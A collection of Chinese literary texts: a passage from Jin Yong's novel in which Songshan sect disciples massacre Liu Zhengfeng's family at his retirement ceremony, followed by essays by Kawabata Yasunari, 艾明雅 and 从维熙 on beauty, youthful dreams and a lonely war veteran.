　　岳不群道：“刘贤弟，倘若真是朋友，我辈武林中人，就为朋友两胁插刀，也不会皱一皱眉头。但魔教中那姓曲的，显然是笑里藏刀，口蜜腹剑，设法来投你所好，那是最最阴毒的敌人。他旨在害得刘贤弟身败名裂，家破人亡，包藏祸心之毒，不可言喻。这种人倘若也算是朋友，岂不是污辱了‘朋友’二字？古人大义灭亲，亲尚可灭，何况这种算不得朋友的大魔头、大奸贼？”

　　群雄听他侃侃而谈，都喝起彩来，纷纷说道：“岳先生这话说得再也明白不过。对朋友自然要讲义气，对敌人却是诛恶务尽，哪有甚么义气好讲？”

　　刘正风叹了口气，待人声稍静，缓缓说道：“在下与曲大哥结交之初，早就料到有今日之事。最近默察情势，猜想过不多时，我五岳剑派和魔教便有一场大火拚。一边是同盟的师兄弟，一边是知交好友，刘某无法相助那一边，因此才出此下策，今日金盆洗手，想要遍告天下同道，刘某从此退出武林，再也不与闻江湖上的恩怨仇杀，只盼置身事外，免受牵连。去捐了这个芝麻绿豆大的武官来做做，原是自污，以求掩人耳目。哪想到左盟主神通广大，刘某这一步棋，毕竟瞒不过他。”

　　群雄一听，这才恍然大悟，心中均道：“原来他金盆洗手，暗中含有这等深意，我本来说嘛，这样一位衡山派高手，怎么会甘心去做这等芝麻绿豆小官。”刘正风一加解释，人人都发觉自己果然早有先见之明。

　　费彬和丁勉、陆柏三人对视一眼，均感得意：“若不是左师兄识破了你的奸计，及时拦阻，便给你得逞了。”

　　刘正风续道：“魔教和我侠义道百余年来争斗仇杀，是是非非，一时也说之不尽。刘某只盼退出这腥风血雨的斗殴，从此归老林泉，吹箫课子，做一个安分守己的良民，自忖这份心愿，并不违犯本门门规和五岳剑派的盟约。”

　　费彬冷笑道：“如果人人都如你一般，危难之际，临阵脱逃，岂不是便任由魔教横行江湖，为害人间？你要置身事外，那姓曲的魔头却又如何不置身事外？”

　　刘正风微微一笑，道：“曲大哥早已当着我的面，向他魔教祖师爷立下重誓，今后不论魔教和白道如何争斗，他一定置身事外，决不插手，人不犯我，我不犯人！”

　　费彬冷笑道：“好一个‘人不犯我，我不犯人’！倘若我们白道中人去犯了他呢？”

　　刘正风道：“曲大哥言道：他当尽力忍让，决不与人争强斗胜，而且竭力弥缝双方的误会嫌隙。曲大哥今日早晨还派人来跟我说，华山派弟子令狐冲为人所伤，命在垂危，是他出手给救活了的。”

　　此言一出，群雄又群相耸动，尤其华山派、恒山派以及青城派诸人，更交头接耳的议论了起来。华山派的岳灵珊忍不住问道：“刘师叔，我大师哥在哪里？真的是……是那位姓曲的……姓曲的前辈救了他性命么？”

　　刘正风道：“曲大哥既这般说，自非虚假。日后见到令狐贤侄，你可亲自问他。”

　　费彬冷笑道：“那有甚么奇怪？魔教中人拉拢离间，甚么手段不会用？他能千方百计的来拉拢你，自然也会千方百计的去拉拢华山派弟子。说不定令狐冲也会由此感激，要报答他的救命之恩，咱们五岳剑派之中，又多一个叛徒了。”转头向岳不群道：“岳师兄，小弟这话只是打个比方，请勿见怪。”岳不群微微一笑，说道：“不怪！”

　　刘正风双眉一轩，昂然问道：“费师兄，你说又多一个叛徒，这个‘又’字，是甚么用意？”费彬冷笑道：“哑子吃馄饨，心里有数，又何必言明。”刘正风道：“哼，你直指刘某是本派叛徒了。刘某结交朋友，乃是私事，旁人却也管不着。刘正风不敢欺师灭祖，背叛衡山派本门，‘叛徒’二字，原封奉还。”他本来恂恂有礼，便如一个财主乡绅，有些小小的富贵之气，又有些土气，但这时突然显出勃勃英气，与先前大不相同。群雄眼见他处境十分不利，却仍与费彬针锋相对的论辩，丝毫不让，都不禁佩服他的胆量。

　　费彬道：“如此说来，刘师兄第一条路是不肯走的了，决计不愿诛妖灭邪，杀那大魔头曲洋了？”

　　刘正风道：“左盟主若有号令，费师兄不妨就此动手，杀了刘某的全家！”

　　费彬道：“你不须有恃无恐，只道天下的英雄好汉在你家里作客，我五岳剑派便有所顾忌，不能清理门户。”伸手向史登达一招，说道：“过来！”史登达应道：“是！”走上三步。费彬从他手中接过五色令旗，高高举起，说道：“刘正风听者：左盟主有令，你若不应允在一个月内杀了曲洋，则五岳剑派只好立时清理门户，以免后患，斩草除根，决不容情。你再想想罢！”

　　刘正风惨然一笑，道：“刘某结交朋友，贵在肝胆相照，岂能杀害朋友，以求自保？左盟主既不肯见谅，刘正风势孤力单，又怎么与左盟主相抗？你嵩山派早就布置好一切，只怕连刘某的棺材也给买好了，要动手便即动手，又等何时？”

　　费彬将令旗一展，朗声道：“泰山派天门师兄，华山派岳师兄，恒山派定逸师太，衡山派诸位师兄师侄，左盟主有言吩咐：自来正邪不两立，魔教和我五岳剑派仇深似海，不共戴天。刘正风结交匪人，归附仇敌。凡我五岳同门，出手共诛之。接令者请站到左首。”

　　天门道人站起身来，大踏步走到左首，更不向刘正风瞧上一眼。天门道人的师父当年命丧魔教一名女长老之手，是以他对魔教恨之入骨。他一走到左首，门下众弟子都跟了过去。

　　岳不群起身说道：“刘贤弟，你只须点一点头，岳不群负责为你料理曲洋如何？你说大丈夫不能对不起朋友，难道天下便只曲洋一人才是你朋友，我们五岳剑派和这里许多英雄好汉，便都不是你朋友了？这里千余位武林同道，一听到你要金盆洗手，都千里迢迢的赶来，满腔诚意的向你祝贺，总算够交情了罢？难道你全家老幼的性命，五岳剑派师友的恩谊，这里千百位同道的交情，一并加将起来，还及不上曲洋一人？”

　　刘正风缓缓摇了摇头，说道：“岳师兄，你是读书人，当知道大丈夫有所不为，你这番良言相劝，刘某甚是感激。人家逼我害曲洋，此事万万不能。正如若是有人逼我杀害你岳师兄，或是要我加害这里任何哪一位好朋友，刘某纵然全家遭难，却也决计不会点一点头。曲大哥是我至交好友，那是不错，但岳师兄何尝不是刘某的好友？曲大哥倘若有一句提到，要暗害五岳剑派中刘某那一位朋友，刘某便鄙视他的为人，再也不当他是朋友了。”他这番话说得极是诚恳，群雄不由得为之动容，武林中义气为重，刘正风这般顾全与曲洋的交情，这些江湖汉子虽不以为然，却禁不住暗自赞叹。

　　岳不群摇头道：“刘贤弟，你这话可不对了。刘贤弟顾全朋友义气，原是令人佩服，却未免不分正邪，不问是非。魔教作恶多端，残害江湖上的正人君子、无辜百姓。刘贤弟只因一时琴箫投缘，便将全副身家性命都交给了他，可将‘义气’二字误解了。”

　　刘正风淡淡一笑，说道：“岳师兄，你不喜音律，不明白小弟的意思。言语文字可以撒谎作伪，琴箫之音却是心声，万万装不得假。小弟和曲大哥相交，以琴箫唱和，心意互通。小弟愿意以全副身家性命担保，曲大哥是魔教中人，却无一点一毫魔教的邪恶之气。”

　　岳不群长叹一声，走到了天门道人身侧。劳德诺、岳灵珊、陆大有等也都随着过去。

　　定逸师太望着刘正风，问道：“从今而后，我叫你刘贤弟，还是刘正风？”刘正风脸露苦笑，道：“刘正风命在顷刻，师太以后也不会再叫我了。”定逸师太合十念道：“阿弥陀佛！”缓缓走到岳不群之侧，说道：“魔深孽重，罪过，罪过。”座下弟子也都跟了过去。

　　费彬道：“这是刘正风一人之事，跟旁人并不相干。衡山派的众弟子只要不甘附逆，都站到左首去。”

　　大厅中寂静片刻，一名年轻汉子说道：“刘师伯，弟子们得罪了。”便有三十余名衡山派弟子走到恒山派群尼身侧，这些都是刘正风的师侄辈，衡山派第一代的人物都没到来。

　　费彬又道：“刘门亲传弟子，也都站到左首去。”

　　向大年朗声道：“我们受师门重恩，义不相负，刘门弟子，和恩师同生共死。”

　　刘正风热泪盈眶，道：“好，好，大年！你说这番话，已很对得起师父了。你们都过去罢。师父自己结交朋友，和你们可没干系。”

　　米为义刷的一声，拔出长剑，说道：“刘门一系，自非五岳剑派之敌，今日之事，有死而已。哪一个要害我恩师，先杀了姓米的。”说着便在刘正风身前一站，挡住了他。

　　丁勉左手一扬，嗤的一声轻响，一丝银光电射而出。刘正风一惊，伸手在米为义右膀上一推，内力到处，米为义向左撞出，那银光便向刘正风胸口射来。向大年护师心切，纵身而上，只听他大叫一声，那银针正好射中心脏，立时气绝身亡。

　　刘正风左手将他尸体抄起，探了探他鼻息，回头向丁勉道：“丁老二，是你嵩山派先杀了我弟子！”丁勉森然道：“不错，是我们先动手，却又怎样？”

　　刘正风提起向大年的尸身，运力便要向丁勉掷去。丁勉见他运劲的姿式，素知衡山派的内功大有独到之处，刘正风是衡山派中的一等高手，这一掷之势非同小可，当即暗提内力，准备接过尸身，立即再向他反掷回去。哪知刘正风提起尸身，明明是要向前掷出，突然间身子往斜里窜出，双手微举，却将向大年的尸身送到费彬胸前。这一下来得好快，费彬出其不意，只得双掌竖立，运劲挡住尸身，便在此时，双胁之下一麻，已被刘正风点了穴道。

　　刘正风一招得手，左手抢过他手中令旗，右手拔剑，横架在他咽喉，左肘连撞，封了他背心三处穴道，任由向太年的尸身落在地下。这几下兔起鹘落，变化快极，待得费彬受制，五岳令旗被夺，众人这才醒悟，刘正风所使的，正是衡山派绝技，叫做“百变千幻衡山云雾十三式”。众人久闻其名，这一次算是大开眼界。

　　岳不群当年曾听师父说过，这一套“百变千幻衡山云雾十三式”乃衡山派上代一位高手所创。这位高手以走江湖变戏法卖艺为生。那走江湖变戏法，仗的是声东击西，虚虚实实，幻人耳目。到得晚年，他武功愈高，变戏法的技能也是日增，竟然将内家功夫使用到戏法之中，街头观众一见，无不称赏，后来更是一变，反将变戏法的本领渗入了武功，五花八门，层出不穷。这位高手生性滑稽，当时创下这套武功游戏自娱，不料传到后世，竟成为衡山派的三大绝技之一。只是这套功夫变化虽然古怪，但临敌之际，却也并无太大的用处，高手过招，人人严加戒备，全身门户，无不守备綦谨，这些幻人耳目的花招多半使用不上，因此衡山派对这套功夫也并不如何着重，如见徒弟是飞扬佻脱之人，便不传授，以免他专务虚幻，于扎正根基的踏实功夫反而欠缺了。

　　刘正风是个深沉寡言之人，在师父手上学了这套功夫，平生从未一用，此刻临急而使，一击奏功，竟将嵩山派中这个大名鼎鼎、真实功夫决不在他之下的“大嵩阳手”费彬制服。他右手举着五岳剑派的盟旗，左手长剑架在费彬的咽喉之中，沉声道：“丁师兄、陆师兄，刘某斗胆夺了五岳令旗，也不敢向两位要胁，只是向两位求情。”

　　丁勉与陆伯对望了一眼，均想：“费师弟受了他的暗算，只好且听他有何话说。”丁勉道：“求甚么情？”刘正风道：“求两位转告左盟主，准许刘某全家归隐，从此不干预武林中的任何事务。刘某与曲洋曲大哥从此不再相见，与众位师兄朋友，也……也就此分手。刘某携带家人弟子，远走高飞，隐居海外，有生之日，绝足不履中原一寸土地。”

　　丁勉微一踌躇，道：“此事我和陆师弟可做不得主，须得归告左师哥，请他示下。”

　　刘正风道：“这里泰山、华山两派掌门在此，恒山派有定逸师太，也可代她掌门师姊作主，此外，众位英雄好汉，俱可作个见证。”他眼光向众人脸上扫过，沉声道：“刘某向众位朋友求这个情，让我顾全朋友义气，也得保家人弟子的周全。”

　　定逸师太外刚内和，脾气虽然暴躁，心地却极慈祥，首先说道：“如此甚好，也免得伤了大家的和气。丁师兄、陆师兄，咱们答应了刘贤弟罢。他既不再和魔教中人结交，又远离中原，等如是世上没了这人，又何必定要多造杀业？”天门道人点头道：“这样也好，岳贤弟，你以为如何？”岳不群道：“刘贤弟言出如山，他既这般说，大家都是信得过的。来来来，咱们化干戈为玉帛，刘贤弟，你放了费贤弟，大伙儿喝一杯解和酒，明儿一早，你带了家人子弟，便离开衡山城罢！”

　　陆柏却道：“泰山、华山两派掌门都这么说，定逸师太更竭力为刘正风开脱，我们又怎敢违抗众意？但费师弟刻下遭受刘正风的暗算，我们倘若就此答允，江湖上势必人人言道，嵩山派是受了刘正风的胁持，不得不低头服输，如此传扬开去，嵩山派脸面何存？”

　　定逸师太道：“刘贤弟是在向嵩山派求情，又不是威胁逼迫，要说‘低头服输’，低头服输的是刘正风，不是嵩山派。何况你们又已杀了一名刘门弟子。”

　　陆柏哼了一声，说道：“狄修，预备着。”嵩山派弟子狄修应道：“是！”手中短剑轻送，抵进刘正风长子背心的肌肉。陆柏道：“刘正风，你要求情，便跟我们上嵩山去见左盟主，亲口向他求情。我们奉命差遣，可作不得主。你立刻把令旗交还，放了我费师弟。”

　　刘正风惨然一笑，向儿子道：“孩儿，你怕不怕死？”刘公子道：“孩儿听爹爹的话，孩儿不怕！”刘正风道：“好孩子！”陆柏喝道：“杀了！”狄修短剑往前一送，自刘公子的背心直刺入他心窝，短剑跟着拔出。刘公子俯身倒地，背心创口中鲜血泉涌。

　　刘夫人大叫一声，扑向儿子尸身。陆柏又喝道：“杀了！”狄修手起剑落，又是一剑刺入刘夫人背心。

　　定逸师太大怒，呼的一掌，向狄修击了过去，骂道：“禽兽！”丁勉抢上前来，也击出一掌。双掌相交，定逸师太退了三步，胸口一甜，一口鲜血涌到了嘴中，她要强好胜，硬生生将这口血咽入口腹中。丁勉微微一笑，道：“承让！”

　　定逸师太本来不以掌力见长，何况适才这一掌击向狄修，以长攻幼，本就未使全力，也不拟这一掌击死了他，不料丁勉突然出手，他那一掌却是凝聚了十成功力。双掌陡然相交，定逸师太欲待再催内力，已然不及，丁勉的掌力如排山倒海般压到，定逸师太受伤呕血，大怒之下，第二掌待再击出，一运力间，只觉丹田中痛如刀割，知道受伤已然不轻，眼前无法与抗，一挥手，怒道：“咱们走！”大踏步向门外走去，门下群尼都跟了出去。

　　陆柏喝道：“再杀！”两名嵩山弟子推出短剑，又杀了两名刘门弟子。陆柏道：“刘门弟子听了，若要活命，此刻跪地求饶，指斥刘正风之非，便可免死。”

　　刘正风的女儿刘菁怒骂：“奸贼，你嵩山派比魔教奸恶万倍！”陆柏喝道：“杀了！”万大平提起长剑，一剑劈下，从刘菁右肩直劈至腰。史登达等嵩山弟子一剑一个，将早已点了穴道制住的刘门亲传弟子都杀了。

　　大厅上群雄虽然都是毕生在刀枪头上打滚之辈，见到这等屠杀惨状，也不禁心惊肉跳。有些前辈英雄本想出言阻止，但嵩山派动手实在太快，稍一犹豫之际，厅上已然尸横遍地。各人又想：自来邪正不两立，嵩山派此举并非出于对刘正风的私怨，而是为了对付魔教，虽然出手未免残忍，却也未可厚非。再者，其时嵩山派已然控制全局，连恒山派的定逸师太亦已铩羽而去，眼见天门道人、岳不群等高手都不作声，这是他五岳剑派之事，旁人倘若多管闲事，强行出头，势不免惹下杀身之祸，自以明哲保身的为是。

　　杀到这时，刘门徒弟子女已只剩下刘正风最心爱的十五岁幼子刘芹。陆柏向史登达道：“问这小子求不求饶？若不求饶，先割了他的鼻子，再割耳朵，再挖眼珠，叫他零零碎碎的受苦。”史登达道：“是！”转向刘芹，问道：“你求不求饶？”

　　刘芹脸色惨白，全身发抖。刘正风道：“好孩子，你哥哥姊姊何等硬气，死就死了，怕甚么？”刘芹颤声道：“可是……爹，他们要……要割我鼻子，挖……挖我眼睛……”刘正风哈哈一笑，道：“到这地步，难道你还想他们放过咱们么？”刘芹道：“爹爹，你……你就答允杀了曲……曲伯伯……”刘正风大怒，喝道：“放屁！小畜生，你说甚么？”

　　史登达举起长剑，剑尖在刘芹鼻子前晃来晃去，道：“小子，你再不跪下求饶，我一剑削下来了。一……二……”他那“三”字还没说出口，刘芹身子战抖，跪倒在地，哀求道：“别……别杀我……我……”陆柏笑道：“很好，饶你不难。但你须得向天下英雄指斥刘正风的不是。”刘芹双眼望着父亲，目光中尽是哀求之意。

　　刘正风一直甚是镇定，虽见妻子儿女死在他的眼前，脸上肌肉亦毫不牵动，这时却愤怒难以遏制，大声喝道：“小畜生，你对得起你娘么？”

　　刘芹眼见母亲、哥哥、姊姊的尸身躺在血泊之中，又见史登达的长剑不断在脸前晃来晃去，已吓得心胆俱裂，向陆柏道：“求求你饶了我，饶了……饶了我爹爹。”陆柏道：“你爹爹勾结魔教中的恶人，你说对不对？”刘芹低声道：“不……不对！”陆柏道：“这样的人，该不该杀？”刘芹低下了头，不敢答话。陆柏道：“这小子不说话，一剑把他杀了。”

　　史登达道：“是！”知道陆柏这句话意在恫吓，举起了剑，作势砍下。

　　刘芹忙道：“该……该杀！”陆柏道：“很好！从今而后，你不是衡山派的人了，也不是刘正风的儿子，我饶了你的性命。”刘芹跪在地下，吓得双腿都软了，竟然站不起来。

　　群雄瞧着这等模样，忍不住为他羞惭，有的转过了头，不去看他。

　　刘正风长叹一声，道：“姓陆的，是你赢了！”右手一挥，将五岳令旗向他掷去，左足一抬，把费彬踢开，朗声道：“刘某自求了断，也不须多伤人命了。”左手横过长剑，便往自己颈中刎去。

　　便在这时，檐头突然掠下一个黑衣人影，行动如风，一伸臂便抓住了刘正风的左腕，喝道：“君子报仇，十年未晚，去！”右手向后舞了一个圈子，拉着刘正风向外急奔。

　　刘正风惊道：“曲大哥……你……”

　　群雄听他叫出“曲大哥”三字，知道这黑衣人便是魔教长老曲洋，尽皆心头一惊。

　　曲洋叫道：“不用多说！”足下加劲，只奔得三步，丁勉、陆柏二人四掌齐出，分向他二人后心拍来。曲洋向刘正风喝道：“快走！”出掌在刘正风背上一推，同时运劲于背，硬生生受了丁勉、陆柏两大高手的并力一击。砰的一声响，曲洋身子向外飞出去，跟着一口鲜血急喷而出，回手连挥，一丛黑针如雨般散出。

　　丁勉叫道：“黑血神针，快避！”急忙向旁闪开。群雄见到这丛黑针，久闻魔教黑血神针的大名，无不惊心，你退我闪，乱成一团，只听得“哎唷！”“不好！”十余人齐声叫了起来。厅上人众密集，黑血神针又多又快，毕竟还是有不少人中了毒针。

　　混乱之中，曲洋与刘正风已逃得远了。

花未眠

川端康成

　　我常常不可思议地思考一些微不足道的问题。昨日一来到热海的旅馆，旅馆的人拿来了与壁龛里的花不同的海棠花。我太劳顿，早早就人睡了。凌晨四点醒来，发现海棠花未眠。

　　发现花未眠，我大吃一惊。有葫芦花和夜来香，也有牵牛花和合欢花，这些花差不多都是昼夜绽放的。花在夜间是不眠的。这是众所周知的事。可我仿佛才明白过来。凌晨四点凝视海棠花，更觉得它美极了。它盛放，含有一种哀伤的美。

　　花未眠这众所周知的事，忽然成了新发现花的机缘。自然的美是无限的。人感受到的美却是有限的，正因为人感受美的能力是有限的，所以说人感受到的美是有限的，自然的美是无限的。至少人的一生中感受到的美是有限的，是很有限的，这是我的实际感受，也是我的感叹。人感受美的能力，既不是与时代同步前进，也不是伴随年龄而增长。凌晨四点的海棠花，应该说也是难能可贵的。如果说，一朵花很美，那么我有时就会不由地自语道：要活下去！

　　画家雷诺阿说：只要有点进步，那就是进一步接近死亡，这是多么凄惨啊。他又说：我相信我还在进步。这是他临终的话。米开朗基罗临终的话也是：事物好不容易如愿表现出来的时候，也就是死亡。米开朗基罗享年八十九岁。我喜欢他的用石膏套制的脸型。

　　毋宁说，感受美的能力，发展到一定程度是比较容易的。光凭头脑想像是困难的。美是邂逅所得，是亲近所得。这是需要反复陶冶的。比如惟—一件的古美术作品，成了美的启迪，成了美的开光，这种情况确是很多。所以说，一朵花也是好的。

　　凝视着壁龛里摆着的一朵插花，我心里想道：与这同样的花自然开放的时候，我会这样仔细凝视它吗？只搞了一朵花插入花瓶，摆在壁龛里，我才凝神注视它。不仅限于花。就说文学吧，今天的小说家如同今天的歌人一样，一般都不怎么认真观察自然。大概认真观察的机会很少吧。壁龛里插上一朵花，要再挂上一幅花的画。这画的美，不亚于真花的当然不多。在这种情况下，要是画作拙劣，那么真花就更加显得美。就算画中花很美，可真花的美仍然是很显眼的。然而，我们仔细观赏画中花，却不怎么留心欣赏真的花。

　　李迪、钱舜举也好，宗达、光琳、御舟以及古径也好，许多时候我们是从他们描绘的花画中领略到真花的美。不仅限于花。最近我在书桌上摆上两件小青铜像，一件是罗丹创作的《女人的手》，一件是玛伊约尔创作的《勒达像》。光这两件作品也能看出罗丹和玛伊约尔的风格是迎然不同的。从罗丹的作品中可以体味到各种的手势，从玛伊约尔的作品中则可以领略到女人的肌肤。他们观察之仔细，不禁让人惊讶。

　　我家的狗产且小狗东倒西歪地迈步的时候，看见一只小狗的小形象，我吓了一跳。因为它的形象和某种东西一模一样。我发觉原来它和宗达所画的小狗很相似。那是宗达水墨画中的一只在春草上的小狗的形象。我家喂养的是杂种狗，算不上什么好狗， 但我深深理解宗达高尚的写实精神。

　　去年岁暮，我在京都观察晚霞，就觉得它同长次郎使用的红色一模一样。我以前曾看见过长次郎制造的称之为夕暮的名茶碗。这只茶碗的黄色带红釉子，的确是日本黄昏的天色，它渗透到我的心中。我是在京都仰望真正的天空才想起茶碗来的。观赏这只茶碗的时候，我不由地浮现出场本繁二郎的画来。那是一幅小画。画的是在荒原寂寞村庄的黄昏天空上，泛起破碎而蓬乱的十字型云彩。这的确是日本黄昏的天色，它渗入我的心。场本繁二郎画的霞彩，同长次郎制造的茶碗的颜色，都是日本色彩。在日暮时分的京都，我也想起了这幅画。于是，繁二郎的画、长次郎的茶碗和真正黄昏的天空，三者在我心中相互呼应，显得更美了。

　　那时候，我去本能寺拜谒浦卜玉堂的墓，归途正是黄昏。翌日，我去岚山观赏赖山阳刻的玉堂碑。由于是冬天，没有人到岚山来参观。可我却第一次发现了岚山的美。以前我也曾来过几次， 作为一般的名胜，我没有很好地欣赏它的美。岚山总是美的。自然总是美的。不过，有时候，这种美只是某些人看到罢了。

　　我之发现花未眠，大概也是我独自住在旅馆里，凌晨四时就醒来的缘故吧。

还记得十六岁时的梦想吗

艾明雅

　　无论当年的你是想做一个三毛，还是做一个亦舒，或者是做一个无疆行者写看不懂的文字，或者是当一个艺术大师画看不懂的画，或者是做一个花样游泳队的金牌队员……随便什么，我敢肯定你的梦想绝对不是十年后仅仅在某个城市的某个角落系着围裙给三个月大的 baby 热奶或者是给即将出门的老公烫西服上的褶皱。

　　十六岁的时候，艾明雅小姐的梦想是去非洲草原，做一个动物学者。她很喜欢动物，尤其喜欢豹子、狮子、老虎、野牛这样极擅奔跑的动物。当年的她，对动物的热情超过了对高考的热情，更不知道婚姻为何物。她鄙视一切带着油烟味儿和葱花味儿的事物，鄙视所有不做头发、不加修饰的女人。她热爱文学也热爱肤如雪，她热爱艺术也热爱亦舒，她热爱山无陵天地合的爱情小说，暗暗发誓要让自己的人生不沦落到买菜做饭和嫁人生子这么简单的生活。

　　多年以后，她再回想起来，觉得当年之所以喜欢那些动物，其实是喜欢它们奔跑起来的那种强烈的鲜活感，那似乎代表着灵魂的释放与热情的燃烧。在电视屏幕里，如血的夕阳下，一群野牛在奔跑，她跟着莫名其妙地激动起来，仿佛看到了一种沸腾的思维和蓬勃的青春。

　　二十二岁，艾明雅小姐大学毕业。

　　她在南方某城市的一家破公司找到了一个破实习生的职位，薪水少得可怜，每天顶着一头乱发睡眼惺忪地去上班，香香的面霜味儿下了公交车就会变成臭臭的汗味儿。她最大的梦想是立刻转正加薪，因为这样就可以搬出合租的房子，拥有一个自己的干净公寓；可以不用再挤公交车，即使打车上班也不用担心白白浪费了足以买一瓶“coco 小姐”香水的几百大洋。

　　后来，房价涨了，涨到有钱也买不起了。工作了几年的艾明雅小姐绝望了，她成了众多逃离北上广的人马中的一员，风尘仆仆的她暗暗发誓要在二线城市给自己找一个安身立命的地方。她开始不停奔波，为了在某个城市给自己找一处便宜的房子几乎跑断双腿。那段时间，她最大的梦想是售楼小姐能给自己打个九二折，银行能够把贷款利息打到七折。

　　后来的后来，她的眼角开始隐隐出现了细纹，亲娘的电话多了，无非就是催婚。艾明雅小姐开始每天都给自己做面膜，补水、美白、保湿、去角质，统统尝试，她要求自己务必保持着如花的美貌去和不同的男人相亲约会。高得像竹竿儿的，矮得像冬瓜的，瘦得像油条的，胖得像肥肠的，她通通都见了。她能够在十五秒内以做报告的方式背完自己的个人简介给对方听，然后保持僵硬的微笑问对方：“我就是这样，您呢？”她最大的梦想是立马来个靠谱的男人，结束这暗无天日惨不忍睹的相亲生活。甚至有一次见了一个不愿意要小孩儿的男人后，她回到家精疲力竭地往床上一倒，发现自己的脸因为长时间保持微笑而抽筋了。

　　再后来的后来，某一天，艾明雅小姐挽着某男人的手在某座城市的某个角落给刚装修的房子做装饰。三室两厅的房子，有一间被她刷成了淡蓝色，墙壁上空空的。她拆开网购来的墙纸，然后嘻嘻哈哈地往墙上贴各种图案——那是她留给未来 baby 的房间。淡蓝色的墙壁上贴着热带鱼、维尼熊、Hello Kitty，还有——狮子和野牛。

　　望着那些狮子和野牛的卡通壁纸，一瞬间，那年的梦想变得清晰起来——她想起十六岁的那个女孩，在某个下了课的黄昏，蹬着自行车往家赶。那年她并不知道要追赶什么，就是喜欢把自行车骑得飞快飞快，然后笑起来很爽朗，说话声很大。她在小县城读完了高中，身边都是同样骑着自行车、剪着童花头的女孩子，她们穿着白色衬衣、校服裙子，在小巷子里穿梭，在叽叽喳喳地讨论隔壁班的某个男生，然后在夕阳下嬉笑追逐。她依稀能记得家门口的那条巷子，两边的水泥围墙里，经常探出一朵朵白色的栀子花，墙垛上有时还会蹲着一只懒洋洋的花猫。她骑着自行车呼啦一声穿进巷子，接着便听见母亲的骂声从巷子那边传过来：“骑那么快！摔不死你！”她咧着嘴哈哈一笑，有时干脆来个大撒把跟母亲打招呼，对于母亲惶急的表情，她丝毫不放在心上。

　　……

　　她最快乐的青春，而今，已是一去不返了。

　　艾明雅小姐回过神来。她依然年轻，还不到三十岁，但是她觉得自己仿佛已经走过了很长的路。那段路一直有迷雾，她一直摸黑向前走，一直看不到自己的模样，似乎有什么追赶着她在黑暗里一直气喘吁吁地往前跑，直到有一天她在黑暗里看到了灯火，她向着灯火狂奔而出，终于歇下一口气，却发现走出来的已经是一个穿着高跟鞋、背着 CHANEL 菱格包、擦着紫色眼影的女人，见到熟人一开口就问：“今天的大盘跌了没有？”

　　依然是那个热爱着狮子和野牛的女孩，但是镜子里的那个她，好像已经熟透了，熟到已经变成了谁的妻子。她回头望，父母健在；她扭头看，有人在身边；她向前看，仿佛又看到她要成为谁的母亲。

　　她想，有些梦想也许明天就可以实现。

夜空中的木拐

从维熙

　　非常凑巧，游览了好莱坞和迪斯尼，适逢圣诞节的黄昏。又从洛杉矶开车一路疾行，穿越加州南部地区，连夜向亚历桑那州的首府菲尼克斯飞驰。

　　平日喧闹的高速公路，在这圣诞之夜出奇地安静，隔着车窗外望，四野一片迷茫。

　　此时，公路两旁的灯光消失了往日的鲜亮，就像与人一路同行的月光一样，把地球上这个头号富国，变成了难得一见的静物童话。直到驶进亚历桑那州界，我们的车才停了下来休息。想不到，在这儿碰到了又一辆夜行的汽车。起始，我以为这辆汽车里的主人，也是赶路的，但当走近它的时候，却发现那是一辆家庭用的住宿车。车子里亮着灯，里边只有一个人，他一边啃食着手中的面包，一边不停地仰头喝着瓶子里的水。大概出于圣诞之夜难以遇到行者之故，见到我们他立刻走下车来。当他拉开车门时，一股浓烈的酒气飘飞过来，这时，我才知道他喝的不是水，而是烈性的白酒。他衣衫虽然褴褛不堪，但神色并不沮丧，见了我们先是扬起一只手臂，用英语问候我们“圣诞快乐”，之后，就向我们的车子走来。此刻，我又发现，他是拄着一只木拐，只有一条腿的残疾人。

　　他看见我在吸烟，首先朝我走了过来。我给了他一支烟，并为他点着了火。他大概发现了中国烟草有别于美国烟草的味道，就用英语对我开始了询问：“你是中国人？中国也过圣诞节吗？”

　　我说：“只有酒店和一些教徒过这个节。”可能是出于信任，当我们围坐在长椅上吃夜宵的时候，他聊了自己的身世：他是个越战的老兵，负伤归国之后，家庭就解体了。之后，这辆车就是他的家，今天他就在这儿过圣诞。毕竟这里有长椅可以休息，还有这么好的一轮月亮和满地清亮的月光。他说话的语调，虽然没有一丝悲凉，但对我来说，犹如听一曲圣诞哀歌。“圣诞节”这个字眼，对整个西方世界来说，其浓烈色彩无异于中国的春节，从我们一路行车的寂寞，足以见证整个美国都沉浸在节日的快乐之中了；但这个形影孤单的老者，因为没了亲情可觅，只能在这儿承受着节日的孤独。

　　经他同意，我到他的车上去参观了一下，按着中国人生活的标准，这辆车里可谓应有尽有了：冰箱、电饭锅、睡床以及其它生活用具——但不知为什么，我仍然感受到一种难以言喻的悲哀。这一刻，我记起了在华盛顿时，曾在越战纪念墙前驻足，那长长一面墙上边的铜雕，都是表现美国士兵英雄主义的；而在这条公路的月光驿站，我看到了战争的另一面，面对我的是一个残疾老兵，在圣诞之夜享受寂寥和孤独。也许将这个老兵的半圆与华盛顿雕塑墙上的半圆，勾连成一个整体，才能组合成战争的全圆。不是吗？

　　这个越战老兵，可能感悟出我们一行六人，是三代人的幸福家庭，他目光中时而流露出凄惶，正是对其孤独命运的回视。时而又流露出淡淡笑意，则是对我们的无言祝福。在明亮的灯光下，面对面的凝视，我发现这个老人其实并不太老，只因久久不修边幅，头发胡子过长，久久不更换衣衫。从他的面容判断，年轻时这一定是个相当漂亮的西部牛仔哩！

　　要上路了。孩子指了指菲尼克斯城的灯火，意思是问他去不去那儿。他则指了指地面，意思是原地不动。当我们走进汽车里，他忽然一反刚才的安闲神态，灵肉突然爆发出精神火花，以金鸡独立的架势，高高举起那支帮助他移动断腿的木拐，向我们高声喊道：“不要战争……”

　　车开了，隔着车窗回眸，我心里充满了苦涩。夜色中，一切都模糊起来，惟有那只指向天空的木拐，像是一件雕塑，定格。

大坝垮的那天

詹姆斯 · 瑟伯：著

孙仲旭：译

